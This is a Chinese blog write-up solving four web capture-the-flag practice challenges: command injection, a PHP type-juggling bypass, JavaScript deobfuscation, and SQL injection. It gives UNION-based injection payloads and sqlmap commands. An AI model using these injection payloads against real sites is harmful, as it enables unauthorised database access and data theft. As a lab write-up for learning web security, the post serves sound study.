攻防世界 web(二)

这周接着刷攻防世界的web题( ̄︶ ̄)↗

1、command_execution

攻防世界 web(二)_第1张图片
看提示这题为命令执行漏洞(command_execution),关于命令执行漏洞,我前面有篇博客详细介绍了,大家不了解的话的可以去看看https://blog.csdn.net/qq_43531669/article/details/99771487
先尝试一下127.0.0.1 发现执行成功,得到回显:
攻防世界 web(二)_第2张图片
那没什么好说的了,直接查看目录下的所有文件吧:
攻防世界 web(二)_第3张图片
得到这些,接着查看home目录下的文件:
攻防世界 web(二)_第4张图片
发现flag文件,然后查看得到flag
攻防世界 web(二)_第5张图片

2、simple_php

攻防世界 web(二)_第6张图片
打开题目地址:

1234){
    echo $flag2;
}
?>

得到这么几串代码
意思是当a==0,但a的值又不能为0时输出flag1,b大于1234,并且b不是数字时输出flag2; 于是构造:?a=0a&b=12345A便可绕过得到完整的flag。攻防世界 web(二)_第7张图片

3、NaNNaNNaNNaN-Batman

攻防世界 web(二)_第8张图片

知识点:js代码(eval函数,alert函数)正则、代码审计

eval() 函数:可计算某个字符串,并执行其中的的 JavaScript 代码。
alert()函数:用于显示带有一条指定消息和一个确定按钮的警告框。

下载附件,以文本格式打开:
攻防世界 web(二)_第9张图片
是一段JS的代码,改后缀为.html在游览器打开:
攻防世界 web(二)_第10张图片
有一个输入框,但输入什么都没有反应,继续分析js代码 = ̄ω ̄= 审计代码可以看到eval函数执行了_变量中的内容也就是' '中的内容,但是,要注意的是,它并没有执行$()函数,仅仅执行了字符串而已(从而导致乱码),因而页面html页面没有任何显示,只显示了input标签的内容,但是我们想让源代码正常显示出来,不进行执行,那么,我们就用到了alert弹窗(将eval函数改为alert),将乱码的$()函数源码完整显示出来:
攻防世界 web(二)_第11张图片
整理一下得到:

function $(){
var e=document.getElementById("c").value;
if(e.length==16)
   if(e.match(/^be0f23/)!=null)
      if(e.match(/233ac/)!=null)
         if(e.match(/e98aa$/)!=null)
             if(e.match(/c7be9/)!=null){
             var t=["fl","s_a","i","e}"];
             var n=["a","_h0l","n"];
             var r=["g{","e","_0"];
             var i=["it'","_","n"];
             var s=[t,n,r,i];
             for(var o=0;o<13;++o){
             document.write(s[o%4][0]);s[o%4].splice(0,1)}
             }
}
document.write('');
delete _

分析代码,我们的目标是打印出document.write(s[o%4][0]);s[o%4].splice(0,1)}
因此我们要满足关键变量e的条件

e.length==16
e.match(/^be0f23/)!=null
e.match(/233ac/)!=null
e.match(/e98aa$/)!=null
e.match(/c7be9/)!=null

这里又用到了正则表达式 ^表示开头一定要匹配到be0f23,$表示结尾一定要匹配到e98aa,其它的只要匹配到就好,没有位置要求,于是构造e=be0f233ac7be98aa
在输入框中输入e的值,点击Ok
成功得到flag:
flag{it’s_a_h0le_in_0ne}

也可以直接将核心代码直接在控制台执行

var t=["fl","s_a","i","e}"];
        var n=["a","_h0l","n"];
        var r=["g{","e","_0"];
        var i=["it'","_","n"];
        var s=[t,n,r,i];
    for(var o=0;o<13;++o)
        {
         document.write(s[o%4][0]);
         s[o%4].splice(0,1)
        }

攻防世界 web(二)_第12张图片

4、NewsCenter

攻防世界 web(二)_第13张图片
这一题考察的是 SQL 注入,这里演示下手动注入和sqlmap两种方法。

手动注入:

首先查返回列,经测试共三列返回数据。攻防世界 web(二)_第14张图片
接着查看数据库名,看到库名为news

攻防世界 web(二)_第15张图片
查表名,构造命令:1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()攻防世界 web(二)_第16张图片
得到两个表,news中无数据,查看表 secret_table字段
1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=' secret_table'
攻防世界 web(二)_第17张图片
最后执行查询语句
0' union select 1,2,fl4g from secret_table#

攻防世界 web(二)_第18张图片
得到flag。

Sqlmap自动注入:

首先用bp抓包,得到http文件头
攻防世界 web(二)_第19张图片
保存为文本。然后执行命令:python sqlmap.py -r 1.txt --dbs 查数据库攻防世界 web(二)_第20张图片
再执行命令:python sqlmap.py -r 1.txt -D news --dump 获取库中的所有数据攻防世界 web(二)_第21张图片
得到 flag ! ( ̄▽ ̄)"/

你可能感兴趣的:(Web)